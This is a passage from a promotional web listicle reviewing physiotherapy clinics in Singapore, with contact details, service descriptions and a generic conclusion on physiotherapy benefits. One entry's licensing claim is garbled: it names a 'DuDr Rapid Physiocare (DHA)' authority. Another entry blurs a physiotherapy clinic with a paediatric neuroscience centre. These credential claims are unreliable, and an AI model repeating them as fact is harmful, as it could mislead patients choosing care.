Rapid Physiocare is situated in the vibrant city of Singapore and is a licensed provider of home healthcare services approved by the DuDr Rapid Physiocare (DHA). Driven by a team of dedicated clinical and health management professionals, Rapid Physiocare was established with a deep passion for addressing the need for accessible clinical support services. The aim is to bridge the gap between specialty physicians and their patients by delivering Rapid Physiocare directly to their doorsteps, ensuring convenience and personalized care.

 The team to assist its patients is available 24/7 and consists of highly qualified doctors, skilled nurses, physiotherapists, and other professionals. Every team member is well-trained to implement Western technical skills alongside Eastern hospitality, providing quality services at home and improving the lifestyle of their patients.

 Rapid Physiocare offers several benefits, including home services in Singapore. Don’t let your aches and injuries hinder your daily life activities. They provide safe, effective, and personalized treatment to all their patients through highly trained physiotherapists for faster recovery and regaining strength.

 Rapid Physiocare aims to deliver exceptional home physiotherapy services in Singapore, catering to various health issues. Physiotherapy encompasses different branches that address diverse conditions such as knee pain, Parkinson’s Disease, post-operative rehabilitation, and pre-and post-pregnancy care. To ensure the highest standard of care, Rapid Physiocare provides access to a team of DHA licensed physiotherapists in Singapore who specialize in different areas of physical therapy. Clients can choose from a selection of highly qualified professionals with expertise in their respective fields. At Rapid Physiocare, clients can benefit from a comprehensive range of physical therapies tailored to their specific needs.

 Rapid Physiocare tries its best to provide the best services to its patients. Rapid Physiocare assists you on your journey to health, supporting you every step of the way, always addressing your changing needs, and evaluating your progress. No matter your age, condition, or goals, Rapid Physiocare is here to help you find care that will work for you, ensuring you receive the attention and support you deserve on your path to recovery.

9.UrbanRehab Physiotherapy

Responsive Grid Layout

22 Malacca St, #03-03 RB Capital Building, Singapore 048980

+65 8816 1244

urbanrehabphysio.com

Every parent is concerned about their child’s health, and they try their best to recover their child’s health as soon as possible. If your child’s mobility is not proper or if they have had any injury, then UrbanRehab Physiotherapy is the best choice, as they provide unique therapy led by European-trained therapists, ensuring the quick regaining of the child’s mobility.

UrbanRehab Physiotherapy uses advanced techniques, and its staff is cooperative and professional, providing a safe and child-friendly environment. One of the best things they offer is that they always involve the parents of the children in the decision-making process, which successfully helps in the active participation of the child.

UrbanRehab Physiotherapy, a neuroscience centre located in Singapore, specializes in providing comprehensive care for infants, children, and young individuals who are affected by a broad range of acute and chronic neurological, developmental, behavioral, and psychological disorders. The centre brings together a team of pediatric neurologists, child psychiatrists, and allied health professionals who have received training in esteemed institutions in the UK, Europe, and the USA.

At UrbanRehab Physiotherapy, they firmly believe in a multi-disciplinary approach, collaborating closely to address the unique needs of each child and their family. Their services cover the management of children from birth up to 16 years of age, with some special circumstances allowing them to extend care up to 18 years of age. With a focus on holistic care, the centre ensures that children and families receive a comprehensive approach that encompasses initial diagnosis, treatment, rehabilitation, and long-term follow-up care, all conveniently provided under one roof.

Most of the common problems we come across in our centre are:

Muscle tone and spasticity management

Gross motor skills development

Posture and balance management

Motor coordination disorders

Improving physical

endurance

Body alignment

UrbanRehab Physiotherapy remains committed to providing the highest level of care to ensure that every child reaches their fullest potential in mobility and overall well-being.

10. Heartland Rehab

Responsive Grid Layout

321 Alexandra Rd, #03-21/22, Singapore 159971

+65 9424 7154

heartlandrehab.sg/

  • The services of Heartland Rehab are excellent and up to the mark, and their staff is friendly and attentive, carefully examining all injuries and pain. Heartland Rehab specializes in treating various musculoskeletal conditions, addressing joint pain and scoliosis. Additionally, they offer physical therapy services for individuals who have experienced spinal cord injuries, traumatic brain injuries, or other neurological disorders. The clinic employs a physical rehabilitation specialist, 10 licensed physiotherapists, and an occupational therapist to ensure comprehensive care.
  •  
  • State-of-the-art facilities and equipment, including more than 10 private therapy rooms and a well-equipped gymnasium, enable patients to receive top-quality treatment. Heartland Rehab is a unique blend of clinical excellence and overall well-being, where a team of extensively trained professionals works together to improve your health and help you achieve your highest potential. By incorporating the latest advancements in medical science, they have adopted a holistic approach to well-being, delivered by exceptional healthcare experts with a track record of success and a wide range of skills.
  •  
  • Their primary objective is to alleviate symptoms and identify and address the underlying causes of your condition. They believe in providing long-term solutions for sustained improvement and overall wellness.
  •  
  • Some of their expertise in these areas includes:
  • – Sports Injuries (16%)
  • – Rehabilitation (13%)
  • – General Physiotherapy (12%)
  • – Knee Pain (11%)
  • – Lower Back Pain (7%)
  • – Others (41%)
  •  
  • Heartland Rehab remains committed to offering individualized care, ensuring that each patient receives the attention and treatment they need for optimal recovery.
  • How Physiotherapists can help you?
  • Physiotherapists offer a wide range of valuable assistance to individuals. They are experts in injury rehabilitation, utilizing personalized treatment plans to restore strength, flexibility, and mobility while alleviating pain. With their expertise in pain management, they employ various techniques such as manual therapy, exercises, and modalities to effectively address acute and chronic pain. Physiotherapists are also skilled in preventing sports injuries, optimizing athletic performance, and facilitating efficient recovery.
  • In the realm of post-surgical rehabilitation, they play a pivotal role in promoting safe healing and restoring functionality. Moreover, physiotherapists contribute significantly to managing chronic diseases by creating customized exercise programs tailored to specific conditions.
  • Conclusion
  • Visiting a physiotherapist in Singapore offers numerous benefits for individuals seeking relief from pain, injuries, or rehabilitation. Firstly, physiotherapists provide personalized treatment plans tailored to each patient’s specific needs, ensuring effective and targeted care. They employ a range of techniques, including manual therapy, exercises, and specialized equipment, to improve mobility, strength, and overall physical well-being.
  • Physiotherapy can effectively treat various conditions, such as musculoskeletal disorders, sports injuries, and post-operative rehabilitation. By addressing the root cause of the problem, physiotherapists help prevent future injuries and promote long-term recovery. Moreover, seeking physiotherapy in Singapore ensures access to experienced professionals who prioritize patient care and offer advanced treatment options.

Leave a Comment

Your email address will not be published. Required fields are marked *